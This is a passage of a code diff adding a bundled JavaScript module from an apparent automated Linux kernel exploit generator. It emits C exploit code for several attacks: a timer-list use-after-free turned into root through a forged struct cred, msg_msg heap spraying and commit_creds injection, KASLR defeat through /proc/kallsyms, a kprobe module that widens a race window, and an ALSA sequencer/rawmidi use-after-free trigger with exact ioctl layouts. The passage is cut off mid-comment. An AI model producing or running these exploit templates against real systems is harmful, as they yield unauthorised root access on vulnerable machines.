...lenOffset !== void 0 ? { lenOffset } : {},
|
|
328
|
+
...srcOffset !== void 0 ? { srcOffset } : {},
|
|
329
|
+
note: parts.length > 0 ? `memcpy operands from freed object: ${parts.join(", ")}` : `no memcpy-arg field loads found near ${symbol}+0x${pcOffset.toString(16)}`
|
|
330
|
+
};
|
|
331
|
+
}
|
|
332
|
+
function resolveSymbol(vmlinuxPath, symbol, runner = defaultCommandRunner) {
|
|
333
|
+
if (!vmlinuxPath || !symbol)
|
|
334
|
+
return void 0;
|
|
335
|
+
let raw = "";
|
|
336
|
+
try {
|
|
337
|
+
raw = runner("nm", [vmlinuxPath]);
|
|
338
|
+
} catch {
|
|
339
|
+
return void 0;
|
|
340
|
+
}
|
|
341
|
+
const re = new RegExp(`^([0-9a-fA-F]+)\\s+[A-Za-z]\\s+${escapeRe(symbol)}$`, "m");
|
|
342
|
+
const m = raw.match(re);
|
|
343
|
+
if (!m)
|
|
344
|
+
return void 0;
|
|
345
|
+
try {
|
|
346
|
+
return BigInt(`0x${m[1]}`);
|
|
347
|
+
} catch {
|
|
348
|
+
return void 0;
|
|
349
|
+
}
|
|
350
|
+
}
|
|
351
|
+
function structLayout(vmlinuxPath, structName, runner = defaultCommandRunner) {
|
|
352
|
+
if (!vmlinuxPath || !structName)
|
|
353
|
+
return {};
|
|
354
|
+
let raw = "";
|
|
355
|
+
try {
|
|
356
|
+
raw = runner("pahole", ["-C", structName, vmlinuxPath]);
|
|
357
|
+
} catch {
|
|
358
|
+
return {};
|
|
359
|
+
}
|
|
360
|
+
return parsePahole(raw);
|
|
361
|
+
}
|
|
362
|
+
function parsePahole(raw) {
|
|
363
|
+
const layout = {};
|
|
364
|
+
const memberRe = /^\s+.*?\b([A-Za-z_]\w*)\s*(?:\[[^\]]*\])?\s*;\s*\/\*\s*(\d+)\s+\d+\s*\*\//;
|
|
365
|
+
for (const line of (raw ?? "").split("\n")) {
|
|
366
|
+
const m = line.match(memberRe);
|
|
367
|
+
if (!m)
|
|
368
|
+
continue;
|
|
369
|
+
const field = m[1];
|
|
370
|
+
const off = parseInt(m[2], 10);
|
|
371
|
+
if (Number.isFinite(off) && !(field in layout))
|
|
372
|
+
layout[field] = off;
|
|
373
|
+
}
|
|
374
|
+
return layout;
|
|
375
|
+
}
|
|
376
|
+
function escapeRe(s) {
|
|
377
|
+
return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
|
378
|
+
}
|
|
379
|
+
|
|
380
|
+
// packages/core/dist/kernel/exploit/templates-fakecred.js
|
|
381
|
+
var FAKECRED_DROP_UID = 65534;
|
|
382
|
+
var MSG_HDR = 48;
|
|
383
|
+
var TIMER_FUNCTION_IN_TIMER = 24;
|
|
384
|
+
function slabBytes(hint) {
|
|
385
|
+
const m = (hint ?? "").match(/kmalloc-(?:cg-)?(\d+)/);
|
|
386
|
+
return m ? parseInt(m[1], 10) : 512;
|
|
387
|
+
}
|
|
388
|
+
function emitFakeCredHelpers(params) {
|
|
389
|
+
const rootTag = RUNG_MARKER_TAG.root;
|
|
390
|
+
const chunk = slabBytes(params.slabCache);
|
|
391
|
+
const funcOff = params.funcPtrOffset ?? 368;
|
|
392
|
+
const credBase = funcOff - TIMER_FUNCTION_IN_TIMER;
|
|
393
|
+
const bodyLen = chunk - MSG_HDR;
|
|
394
|
+
const out = [];
|
|
395
|
+
out.push("/* \u2500\u2500 Fake-cred one-shot helpers (timer/ops UAF \u2192 root) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500", " The reclaimed object IS a forged struct cred; its embedded timer_list", ` .function (object offset 0x${funcOff.toString(16)}) becomes commit_creds and rdi=&obj,`, " so the post-free call_timer_fn runs commit_creds(&obj). Only .function is", " injected; entry.next/pprev/expires are zeroed (detach-safe). Symbols come", " from /proc/kallsyms at runtime (kptr_restrict=0) \u2014 under KASLR that IS the", " companion text leak; if unresolved the escalation refuses to fire. */", `#define FC_CHUNK ${chunk}`, "#define FC_MSG_HDR 48", `#define FC_FUNC_OFF 0x${funcOff.toString(16)} /* object offset of timer_list.function */`, `#define FC_CRED_BASE 0x${credBase.toString(16)} /* == timer base (cred aliases timer) */`, `#define FC_BODY_LEN ${bodyLen}`, `#define FC_DROP_UID ${FAKECRED_DROP_UID}`, "", "/* Resolved symbol addresses (0 until osec_fakecred_setup succeeds). */", "static unsigned long g_fc_commit_creds = 0;", "static unsigned long g_fc_init_user_ns = 0;", "static unsigned long g_fc_root_user = 0;", "static unsigned long g_fc_init_ucounts = 0;", "static unsigned long g_fc_init_groups = 0;", "static volatile int g_fc_uaf_armed = 0; /* set once the free is driven */", "", "/* Resolve a kernel symbol from /proc/kallsyms (needs kptr_restrict=0). 0 if", " not readable / not found \u2014 the honest KASLR-defeat channel for this family. */", "static unsigned long osec_ksym(const char *name) {", ' FILE *f = fopen("/proc/kallsyms", "r");', " if (!f) return 0;", " char line[256], sym[128]; unsigned long addr = 0; unsigned long hit = 0;", " while (fgets(line, sizeof(line), f)) {", ' if (sscanf(line, "%lx %*c %127s", &addr, sym) == 2 &&', " strcmp(sym, name) == 0) { hit = addr; break; }", " }", " fclose(f);", " return hit;", "}", "", "/* Resolve every symbol the forged cred needs. Returns 0 iff ALL resolved. */", "static int osec_fakecred_setup(void) {", ' g_fc_commit_creds = osec_ksym("commit_creds");', ' g_fc_init_user_ns = osec_ksym("init_user_ns");', ' g_fc_root_user = osec_ksym("root_user");', ' g_fc_init_ucounts = osec_ksym("init_ucounts");', ' g_fc_init_groups = osec_ksym("init_groups");', " if (!g_fc_commit_creds) return -1; /* HONEST GAP: no text leak \u2192 cannot aim .function */", " return 0;", "}", "", "/* Forge the reclaiming msg_msg body: inject ONLY timer_list.function =", " commit_creds; zero entry.next/pprev/expires; lay a forged cred in the slack", " (caps=~0 + real init_* sub-pointers). Object offset o -> body[o - 48]. */", "static void osec_fakecred_build(unsigned char *body) {", " memset(body, 0, FC_BODY_LEN);", "#define FC_PUT64(objoff, val) do { \\", " long _bo = (long)(objoff) - FC_MSG_HDR; \\", " if (_bo >= 0 && _bo + 8 <= FC_BODY_LEN) { \\", " unsigned long _v = (unsigned long)(val); \\", " memcpy(&body[_bo], &_v, 8); } \\", " } while (0)", " /* timer_list: only .function is attacker-injected; the rest stay 0. */", " FC_PUT64(FC_CRED_BASE + 0x00, 0UL); /* entry.next (== cred.usage placeholder) */", " FC_PUT64(FC_CRED_BASE + 0x08, 0UL); /* entry.pprev (detach zeroes -> cred.uid/gid=0) */", " FC_PUT64(FC_CRED_BASE + 0x10, 0UL); /* expires */", " FC_PUT64(FC_FUNC_OFF, g_fc_commit_creds);/* .function == commit_creds (== cred.euid/egid) */", " FC_PUT64(FC_FUNC_OFF + 0x08, 0UL); /* flags (== cred.fsuid/fsgid) */", " /* forged cred caps in the fully-controlled slack. */", " FC_PUT64(FC_CRED_BASE + 0x38, 0xffffffffffffffffUL); /* cap_permitted */", " FC_PUT64(FC_CRED_BASE + 0x40, 0xffffffffffffffffUL); /* cap_effective (CAP_SETUID) */", " FC_PUT64(FC_CRED_BASE + 0x48, 0xffffffffffffffffUL); /* cap_bset */", " /* real init_* sub-pointers so later cred operations do not fault. */", " FC_PUT64(FC_CRED_BASE + 0x88, g_fc_root_user);", " FC_PUT64(FC_CRED_BASE + 0x90, g_fc_init_user_ns);", " FC_PUT64(FC_CRED_BASE + 0x98, g_fc_init_ucounts);", " FC_PUT64(FC_CRED_BASE + 0xa0, g_fc_init_groups);", "#undef FC_PUT64", "}", "", "/* Same-cache spray: msgsnd the forged body so it reclaims the freed chunk in", " the victim kmalloc bucket. Persists until msgrcv (stable reclaim). */", "#define FC_NQUEUE 64", "#define FC_PERQ 24", "static int g_fc_qids[FC_NQUEUE];", "static int osec_fakecred_spray(void) {", " struct { long mtype; unsigned char text[FC_BODY_LEN]; } mb;", " mb.mtype = 1;", " osec_fakecred_build(mb.text);", " int n = 0;", " for (int i = 0; i < FC_NQUEUE; i++) {", " g_fc_qids[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);", " if (g_fc_qids[i] < 0) continue;", " for (int j = 0; j < FC_PERQ; j++) {", " if (msgsnd(g_fc_qids[i], &mb, FC_BODY_LEN, IPC_NOWAIT) == 0) n++;", " else break;", " }", " }", " return n;", "}", "", "/* The unprivileged victim child. Drops to nobody, blocks until the UAF is", " armed, then busy-spins IN USERSPACE so the timer softirq fires in ITS", " context; when commit_creds(&obj) lands, getuid()==0 -> normalize + ROOT. */", "static void osec_fakecred_child(int sig_rfd) {", " osec_pin_cpu(0);", " if (setgroups(0, NULL) != 0) { /* best-effort */ }", " setresgid(FC_DROP_UID, FC_DROP_UID, FC_DROP_UID);", " setresuid(FC_DROP_UID, FC_DROP_UID, FC_DROP_UID);", " if (getuid() != FC_DROP_UID) {", " /* HONEST GAP: could not drop uid \u2014 do not spin a fake escalation. */", " _exit(1);", " }", " char c; if (read(sig_rfd, &c, 1) < 0) { /* wake on UAF-armed */ }", " for (int i = 0; i < 25 * 2000; i++) {", " volatile unsigned long spin = 0;", " for (volatile int k = 0; k < 200000; k++) spin++;", " if (getuid() == 0) {", " /* CAP_SETUID from the forged cap_effective normalizes euid/fsuid. */", " setresuid(0, 0, 0); setresgid(0, 0, 0); setgroups(0, NULL);", " char idbuf[64]; snprintf(idbuf, sizeof(idbuf),", ' "uid=%d euid=%d (commit_creds landed)", getuid(), geteuid());', ` osec_marker("${rootTag}", idbuf); /* evidence-bound: real uid==0 */`, " _exit(0);", " }", " }", " _exit(1); /* timed out: reclaim/context miss \u2014 no marker (honest) */", "}");
|
|
396
|
+
if (params.modeLeak) {
|
|
397
|
+
out.push("", "/* MODE_LEAK (optional physmap infoleak). After the timer is re-armed, the", " reclaimed object's entry.pprev == &base->vectors[idx].first (a physmap", " pointer). msgrcv the object and recover page_offset_base \u2014 defeats", " RANDOMIZE_MEMORY. NOTE: this leaks NO kernel .text, so hardened/KASLR-ON", " root still needs a PAIRED kernel-text infoleak (see the tail honesty flag). */", "static unsigned long osec_fakecred_leak(void) {", " struct { long mtype; unsigned char text[FC_BODY_LEN]; } rb;", " for (int i = 0; i < FC_NQUEUE; i++) {", " if (g_fc_qids[i] <= 0) continue;", " ssize_t r = msgrcv(g_fc_qids[i], &rb, FC_BODY_LEN, 1, IPC_NOWAIT | MSG_NOERROR);", " if (r < (ssize_t)(FC_CRED_BASE + 0x10 - FC_MSG_HDR)) continue;", " unsigned long pprev = 0;", " memcpy(&pprev, &rb.text[FC_CRED_BASE + 0x08 - FC_MSG_HDR], 8);", " if (pprev > 0xffff000000000000UL) {", " unsigned long phys_base = pprev & ~0x3fffffffUL; /* coarse physmap base */", ' char kb[64]; snprintf(kb, sizeof(kb), "page_offset_base~=0x%lx", phys_base);', ' osec_marker("ARB-READ", kb); /* physmap leak (NOT text) */', " return phys_base;", " }", " }", " return 0; /* HONEST GAP: no physmap pointer recovered this run */", "}");
|
|
398
|
+
}
|
|
399
|
+
return out;
|
|
400
|
+
}
|
|
401
|
+
function emitFakeCredDriver(params) {
|
|
402
|
+
const out = [
|
|
403
|
+
" /* \u2500\u2500 Fake-cred one-shot driver \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
|
|
404
|
+
" Fork the unprivileged victim, resolve commit_creds + init_* via",
|
|
405
|
+
" kallsyms, then reclaim the freed timer object with the forged cred and",
|
|
406
|
+
" let the re-armed timer fire commit_creds(&obj) in the child. */",
|
|
407
|
+
" if (osec_fakecred_setup() != 0) {",
|
|
408
|
+
" /* HONEST GAP: commit_creds unresolved (kptr_restrict on / no text leak)",
|
|
409
|
+
" \u2014 cannot aim .function; the chain stops short of root. */",
|
|
410
|
+
" } else {",
|
|
411
|
+
" int fc_pipe[2];",
|
|
412
|
+
" if (pipe(fc_pipe) == 0) {",
|
|
413
|
+
" pid_t fc_child = fork();",
|
|
414
|
+
" if (fc_child == 0) { close(fc_pipe[1]); osec_fakecred_child(fc_pipe[0]); _exit(0); }",
|
|
415
|
+
" close(fc_pipe[0]);",
|
|
416
|
+
" /* Drive the bug-specific FREE of the timer-owning object, then reclaim",
|
|
417
|
+
" it BEFORE the kernel re-arms the timer (mod_timer on the freed sc). */",
|
|
418
|
+
" osec_timer_uaf_free(); /* bug layer's teardown (unbind/close/...) */",
|
|
419
|
+
" int sprayed = osec_fakecred_spray();",
|
|
420
|
+
" (void)sprayed;",
|
|
421
|
+
" g_fc_uaf_armed = 1;",
|
|
422
|
+
" { char c = '!'; if (write(fc_pipe[1], &c, 1) < 0) { /* wake child */ } }"
|
|
423
|
+
];
|
|
424
|
+
if (params.modeLeak) {
|
|
425
|
+
out.push(" /* Optional: recover page_offset_base from the re-armed object. */", " (void)osec_fakecred_leak();");
|
|
426
|
+
}
|
|
427
|
+
out.push(" /* The parent goes idle so the child owns the CPU when the timer fires. */", " int fc_status = 0;", " waitpid(fc_child, &fc_status, 0);", " }", " }");
|
|
428
|
+
return out;
|
|
429
|
+
}
|
|
430
|
+
function emitTimerUafFreeHook() {
|
|
431
|
+
return [
|
|
432
|
+
"/* Bug-specific free of the timer-owning object. The generic family cannot",
|
|
433
|
+
" drive an arbitrary driver's teardown; the owning trigger layer overrides",
|
|
434
|
+
" this (weak) default with the real free (unbind/close/disconnect). With the",
|
|
435
|
+
" no-op default there is no real UAF, so the child never escalates and no",
|
|
436
|
+
" ROOT marker is printed \u2014 honest. */",
|
|
437
|
+
"__attribute__((weak)) void osec_timer_uaf_free(void) {",
|
|
438
|
+
" /* no-op: overridden by the bug-specific trigger */",
|
|
439
|
+
"}"
|
|
440
|
+
];
|
|
441
|
+
}
|
|
442
|
+
|
|
443
|
+
// packages/core/dist/kernel/exploit/trigger-geometry.js
|
|
444
|
+
var DEFAULT_WIDEN_OFFSET = 75;
|
|
445
|
+
var DEFAULT_RACE_FLOOD_THREADS = 2;
|
|
446
|
+
var DEFAULT_RACE_SPRAY_THREADS = 8;
|
|
447
|
+
var DEFAULT_RACE_PARK_US = 120;
|
|
448
|
+
var DEFAULT_RACE_SECONDS = 8;
|
|
449
|
+
function detectTriggerFamily(faultingPc) {
|
|
450
|
+
const sym = parsePcToken(faultingPc ?? "")?.symbol ?? "";
|
|
451
|
+
if (/^snd_rawmidi_kernel_write1$/.test(sym) || /^snd_rawmidi_/.test(sym) || /^snd_seq_/.test(sym) || /^event_process_midi$/.test(sym) || /^midisynth_/.test(sym)) {
|
|
452
|
+
return "alsa-seq-rawmidi";
|
|
453
|
+
}
|
|
454
|
+
if (/^call_timer_fn$/.test(sym) || /^run_timer_softirq$/.test(sym) || /^__run_timers?$/.test(sym) || /^__run_timer_base$/.test(sym) || /^expire_timers$/.test(sym) || /^__hrtimer_run_queues$/.test(sym) || /^__run_hrtimer$/.test(sym) || /^hrtimer_interrupt$/.test(sym) || /(?:_timer_fn|_timeout|_callback|_cb)$/.test(sym)) {
|
|
455
|
+
return "timer-list-uaf";
|
|
456
|
+
}
|
|
457
|
+
return void 0;
|
|
458
|
+
}
|
|
459
|
+
function emitTimerUafTrigger(params) {
|
|
460
|
+
const fcParams = {
|
|
461
|
+
canary: params.canary ?? "",
|
|
462
|
+
...params.slabCache ? { slabCache: params.slabCache } : {},
|
|
463
|
+
...params.writeProfile?.funcPtrOffset !== void 0 ? { funcPtrOffset: params.writeProfile.funcPtrOffset } : {},
|
|
464
|
+
...params.modeLeak ? { modeLeak: true } : {},
|
|
465
|
+
...params.hardenedNeedsTextLeak ? { hardenedNeedsTextLeak: true } : {}
|
|
466
|
+
};
|
|
467
|
+
return [
|
|
468
|
+
"/* \u2500\u2500 Bug-specific trigger geometry: timer-list UAF (fake-cred one-shot) \u2500\u2500",
|
|
469
|
+
" free -> same-cache spray of a forged cred -> the kernel re-arms the timer",
|
|
470
|
+
" (mod_timer) on the reclaimed object, injecting ONLY .function=commit_creds;",
|
|
471
|
+
" the timer softirq fires commit_creds(&obj) in a busy-spinning unprivileged",
|
|
472
|
+
" child -> root. Reference: 0sec hid-sony ghl_poke_timer UAF (9/9 root). */",
|
|
473
|
+
...emitTimerUafFreeHook(),
|
|
474
|
+
"",
|
|
475
|
+
...emitFakeCredHelpers(fcParams)
|
|
476
|
+
];
|
|
477
|
+
}
|
|
478
|
+
function emitTimerUafDriver(params) {
|
|
479
|
+
const fcParams = {
|
|
480
|
+
canary: params.canary ?? "",
|
|
481
|
+
...params.slabCache ? { slabCache: params.slabCache } : {},
|
|
482
|
+
...params.writeProfile?.funcPtrOffset !== void 0 ? { funcPtrOffset: params.writeProfile.funcPtrOffset } : {},
|
|
483
|
+
...params.modeLeak ? { modeLeak: true } : {}
|
|
484
|
+
};
|
|
485
|
+
return emitFakeCredDriver(fcParams);
|
|
486
|
+
}
|
|
487
|
+
function emitKprobeWidener(faultingPc, widenOffset) {
|
|
488
|
+
const sym = parsePcToken(faultingPc ?? "")?.symbol ?? "snd_rawmidi_kernel_write1";
|
|
489
|
+
const def = widenOffset ?? DEFAULT_WIDEN_OFFSET;
|
|
490
|
+
const defHex = `0x${def.toString(16)}`;
|
|
491
|
+
return [
|
|
492
|
+
"/* \u2500\u2500 Race-window widener: kprobe mdelay() at the write site \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
|
|
493
|
+
" Best-effort + FAIL-SOFT. Plants an mdelay() just before the dangling",
|
|
494
|
+
` memcpy in ${sym} so the parked writer holds the freed object across the`,
|
|
495
|
+
" reclaim window far more often. TWO things are CONFIGURABLE at runtime so",
|
|
496
|
+
" the rig can dial in the coincidence rate WITHOUT re-emitting:",
|
|
497
|
+
" 0SEC_KERNEL_QEMU_WIDEN_OFFSET \u2014 the probe instruction offset,",
|
|
498
|
+
` else the compile-time default ${defHex};`,
|
|
499
|
+
` 0SEC_RACE_PARK_US \u2014 the mdelay() park width (the manual proof parked`,
|
|
500
|
+
` the writer ~${DEFAULT_RACE_PARK_US}ms), else default ${DEFAULT_RACE_PARK_US}.`,
|
|
501
|
+
" If the target lacks kernel headers / module-build / insmod rights this is",
|
|
502
|
+
" skipped and the race runs narrower \u2014 NO marker is printed for the widener;",
|
|
503
|
+
" only the witnessed reclaim + ordered drop\u2192root the oracle keys on credit",
|
|
504
|
+
" the climb. The mdelay arg is spliced into the LKM source at runtime (the",
|
|
505
|
+
" LKM is kernel code and cannot getenv), exactly like the offset. */",
|
|
506
|
+
`#define OSEC_WIDEN_OFFSET_DEFAULT ${defHex}`,
|
|
507
|
+
`#define OSEC_RACE_PARK_US_DEFAULT ${DEFAULT_RACE_PARK_US}`,
|
|
508
|
+
"static int osec_install_kprobe_widener(void) {",
|
|
509
|
+
" /* Resolve the probe offset: env override wins, else the compiled default,",
|
|
510
|
+
" so the VM runner can correct a stale instruction boundary at run time. */",
|
|
511
|
+
" unsigned long woff = OSEC_WIDEN_OFFSET_DEFAULT;",
|
|
512
|
+
' const char *wenv = getenv("0SEC_KERNEL_QEMU_WIDEN_OFFSET");',
|
|
513
|
+
" if (wenv && wenv[0]) {",
|
|
514
|
+
" char *end = NULL;",
|
|
515
|
+
" unsigned long v = strtoul(wenv, &end, 0);",
|
|
516
|
+
" if (end && end != wenv) woff = v;",
|
|
517
|
+
" }",
|
|
518
|
+
" /* Resolve the park width (mdelay arg): 0SEC_RACE_PARK_US wins, else the",
|
|
519
|
+
" compiled default. This is THE knob that holds the freed object during",
|
|
520
|
+
" the reclaim \u2014 wider park trades throughput for free-during-park rate. */",
|
|
521
|
+
" unsigned long park = OSEC_RACE_PARK_US_DEFAULT;",
|
|
522
|
+
' const char *penv = getenv("0SEC_RACE_PARK_US");',
|
|
523
|
+
" if (penv && penv[0]) {",
|
|
524
|
+
" char *pend = NULL;",
|
|
525
|
+
" unsigned long pv = strtoul(penv, &pend, 0);",
|
|
526
|
+
" if (pend && pend != penv) park = pv;",
|
|
527
|
+
" }",
|
|
528
|
+
" /* Write a minimal kprobe LKM source that mdelays at the resolved offset",
|
|
529
|
+
" for the resolved park width. */",
|
|
530
|
+
" char ksrc[832];",
|
|
531
|
+
" snprintf(ksrc, sizeof(ksrc),",
|
|
532
|
+
' "#include <linux/module.h>\\n"',
|
|
533
|
+
' "#include <linux/kprobes.h>\\n"',
|
|
534
|
+
' "#include <linux/delay.h>\\n"',
|
|
535
|
+
` "static struct kprobe kp = { .symbol_name = \\"${sym}\\", .offset = 0x%lx };\\n"`,
|
|
536
|
+
' "static int h(struct kprobe *p, struct pt_regs *r){ mdelay(%lu); return 0; }\\n"',
|
|
537
|
+
' "static int __init i(void){ kp.pre_handler=h; return register_kprobe(&kp); }\\n"',
|
|
538
|
+
' "static void __exit e(void){ unregister_kprobe(&kp); }\\n"',
|
|
539
|
+
' "module_init(i); module_exit(e); MODULE_LICENSE(\\"GPL\\");\\n",',
|
|
540
|
+
" woff, park);",
|
|
541
|
+
' FILE *f = fopen("/tmp/osec_widen.c", "w");',
|
|
542
|
+
" if (!f) return -1;",
|
|
543
|
+
" fwrite(ksrc, 1, strlen(ksrc), f);",
|
|
544
|
+
" fclose(f);",
|
|
545
|
+
" /* Build + insmod. Any failure here is non-fatal \u2014 the race still runs. */",
|
|
546
|
+
` if (system("set -e; cd /tmp; printf 'obj-m += osec_widen.o\\\\n' > Makefile; make -C /lib/modules/$(uname -r)/build M=/tmp modules >/dev/null 2>&1; insmod /tmp/osec_widen.ko 2>/dev/null") != 0) {`,
|
|
547
|
+
" /* HONEST GAP: widener unavailable on this target \u2014 narrower race. */",
|
|
548
|
+
" return -1;",
|
|
549
|
+
" }",
|
|
550
|
+
" return 0;",
|
|
551
|
+
"}"
|
|
552
|
+
];
|
|
553
|
+
}
|
|
554
|
+
function emitAlsaSeqRawmidiTrigger(params) {
|
|
555
|
+
const dst = params.writeProfile?.dstOffset;
|
|
556
|
+
const len = params.writeProfile?.lenOffset;
|
|
557
|
+
const out = [];
|
|
558
|
+
out.push("/* \u2500\u2500 Bug-specific trigger geometry: ALSA snd_seq / rawmidi UAF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500", " Single ALSA-seq subscription \u2192 subscriber count oscillates 0<->1, so", " every OUTPUT-port unsubscribe FREES the snd_rawmidi_runtime (kmalloc-" + (slabNum(params.slabCache) ?? 192) + ") via", " midisynth_unuse -> snd_rawmidi_kernel_release -> snd_rawmidi_runtime_free.", " Racing an event flood (snd_seq_write -> event_process_midi ->", " snd_rawmidi_kernel_write1) against the free drives the dangling memcpy" + (dst !== void 0 ? ` at runtime->buffer (obj +0x${dst.toString(16)})` : "") + (len !== void 0 ? ` for len obj +0x${len.toString(16)}` : "") + ". */", "", "#include <poll.h>", "#include <pthread.h>", "#include <signal.h>", "#include <sys/ioctl.h>", "", "/* Parse a 0SEC_RACE_* env knob as an int, falling back to a default. Lets", " the rig sweep the continuous-thread race timings without re-emitting. */", "static int osec_race_envint(const char *name, int dflt) {", " const char *v = getenv(name);", " if (!v || !v[0]) return dflt;", " char *end = NULL;", " long n = strtol(v, &end, 0);", " if (!end || end == v) return dflt;", " return (int)n;", "}", "", "/* Forward declarations \u2014 osec_spray_thread() (below) calls osec_reclaim_spray(),", " whose definition is emitted LATER in the translation unit (the reclaim helper", " block). Without this prototype the emitted C fails to compile (use-before-def /", " 'static declaration follows non-static declaration'). osec_pin_cpu() is defined", " in the marker preamble (above) so it needs none. */", "static void osec_reclaim_spray(void);", "", "/* ALSA sequencer uapi \u2014 REAL layouts from include/uapi/sound/asequencer.h.", " The struct SIZES are load-bearing: _IOWR/_IOW/_IOR encode sizeof(struct)", " into the ioctl number, so a wrong size yields a wrong ioctl => -ENOTTY and", " the kernel never runs the handler (the live boot's 'reaches DROP but ZERO", " KASAN' symptom). The struct sizes below are the REAL uapi sizes, audited", " by compilation against include/uapi/sound/asequencer.h:", " snd_seq_addr == 2 bytes", " snd_seq_port_info == 168 bytes", " snd_seq_port_subscribe == 80 bytes (was wrongly 32 \u2014 see below)", " snd_seq_client_info == 188 bytes", " snd_seq_event == 32 bytes (was wrongly 28 \u2014 16-byte data union)", " so that the _IOC-encoded ioctl numbers come out byte-for-byte equal to the", " kernel's:", " SNDRV_SEQ_IOCTL_CLIENT_ID == 0x80045301", " SNDRV_SEQ_IOCTL_CREATE_PORT == 0xc0a85320", " SNDRV_SEQ_IOCTL_DELETE_PORT == 0x40a85321", " SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT == 0x40505330", " SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT == 0x40505331", " SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT == 0xc0bc5351", " SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT == 0xc0a85352", " Two live in-guest probes drove these fixes: the old 92-byte port_info", " yielded the wrong CREATE_PORT number => -ENOTTY before the UAF could run;", " and the old 32-byte port_subscribe yielded SUBSCRIBE_PORT == 0x40205330", " (kernel expects 0x40505330) => -ENOTTY on SUBSCRIBE, so the runtime was", " never freed and NO UAF fired. Both real uapi sizes (168 / 80) are below. */", "struct snd_seq_addr { unsigned char client; unsigned char port; };", "struct snd_seq_port_info { /* 168 bytes \u2014 real uapi layout */", " struct snd_seq_addr addr; /* 0: client/port */", " char name[64]; /* 2 */", " unsigned int capability; /* 68: SNDRV_SEQ_PORT_CAP_* bitmask */", " unsigned int type; /* 72: SNDRV_SEQ_PORT_TYPE_* bitmask */", " int midi_channels; /* 76 */", " int midi_voices; /* 80 */", " int synth_voices; /* 84 */", " int read_use; /* 88 */", " int write_use; /* 92 */", " void *kernel; /* 96: 8-byte aligned kernel ptr */", " unsigned int flags; /* 104 */", " unsigned char time_queue; /* 108 */", " unsigned char direction; /* 109 */", " unsigned char ump_group; /* 110 */", " char reserved[57]; /* 111: pad to exactly 168 */", "};", "struct snd_seq_port_subscribe { /* 80 bytes \u2014 real uapi layout */", " struct snd_seq_addr sender; /* 0: source port */", " struct snd_seq_addr dest; /* 2: destination port */", " unsigned int voices; /* 4 */", " unsigned int flags; /* 8 */", " unsigned char queue; /* 12 */", " unsigned char pad[3]; /* 13 */", " unsigned char reserved[64]; /* 16: ends at exactly 80 */", "};", "/* snd_seq_client_info \u2014 only `client` is read; full 188B size keeps the", " QUERY_NEXT_CLIENT ioctl number (0xc0bc5351) correct. */", "struct snd_seq_client_info { /* 188 bytes */", " int client; /* 0 */", " int type; /* 4 */", " char name[64]; /* 8 */", " unsigned int filter; /* 72 */", " unsigned char multicast_filter[8]; /* 76 */", " unsigned char event_filter[32]; /* 84 */", " int num_ports; /* 116 */", " int event_lost; /* 120 */", " int card; /* 124 */", " int pid; /* 128 */", " unsigned int midi_version; /* 132 */", " unsigned int group_filter; /* 136 */", " char reserved[48]; /* 140: ends at 188 */", "};", "/* Compile-time static asserts: a wrong size silently re-breaks the ABI. */", "_Static_assert(sizeof(struct snd_seq_port_info) == 168,", ' "snd_seq_port_info must be 168 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_port_subscribe) == 80,", ' "snd_seq_port_subscribe must be 80 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_addr) == 2,", ' "snd_seq_addr must be 2 bytes");', "_Static_assert(sizeof(struct snd_seq_client_info) == 188,", ' "snd_seq_client_info must be 188 bytes for the correct ioctl nr");', "", "/* ioctl numbers \u2014 computed from the REAL struct sizes via the standard", " macros, so they come out byte-for-byte equal to the kernel's. */", "#define SNDRV_SEQ_IOCTL_CLIENT_ID _IOR ('S', 0x01, int)", "#define SNDRV_SEQ_IOCTL_CREATE_PORT _IOWR('S', 0x20, struct snd_seq_port_info)", "#define SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT _IOW ('S', 0x30, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT _IOW ('S', 0x31, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT _IOWR('S', 0x51, struct snd_seq_client_info)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT _IOWR('S', 0x52, struct snd_seq_port_info)", "", "/* Port type/capability bits (asequencer.h). */", "#define SNDRV_SEQ_PORT_CAP_READ (1<<0) /* 0x01 */", "#define SNDRV_SEQ_PORT_CAP_WRITE (1<<1) /* 0x02 */", "#define SNDRV_SEQ_PORT_CAP_SUBS_READ (1<<5) /* 0x20: can be a subscribe src */", "#define SNDRV_SEQ_PORT_CAP_SUBS_WRITE (1<<6) /* 0x40: can be a subscribe dest */", "#define SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC (1<<1) /* 0x02 */", "#define SNDRV_SEQ_PORT_TYPE_APPLICATION (1<<20)/* 0x100000: an app's own port */", "#define SNDRV_SEQ_PORT_TYPE_HARDWARE (1<<16) /* 0x10000: real card port */", "", "/* snd_seq_event \u2014 the REAL 32-byte wire layout from asequencer.h. The flood", " thread writes these to /dev/snd/seq so the kernel routes them through", " snd_seq_write -> snd_seq_deliver_event -> event_process_midi -> dump_midi ->", " snd_rawmidi_kernel_write1 (the dangling write site). The variable-length", " protocol: when ev.flags has LENGTH_VARIABLE, snd_seq_write reads the 32-byte", " event header off the fd, then reads ev.data.ext.len payload bytes INLINE", " immediately AFTER the event (userspace write ignores ext.ptr) \u2014 that payload", " is what dump_midi feeds VERBATIM into runtime->buffer. Getting sizeof()==32", " is load-bearing twice over: snd_seq_write reads events in", " sizeof(struct snd_seq_event) strides, AND a wrong size shifts where the inline", " payload begins, so a 28-byte struct desyncs the stream and the 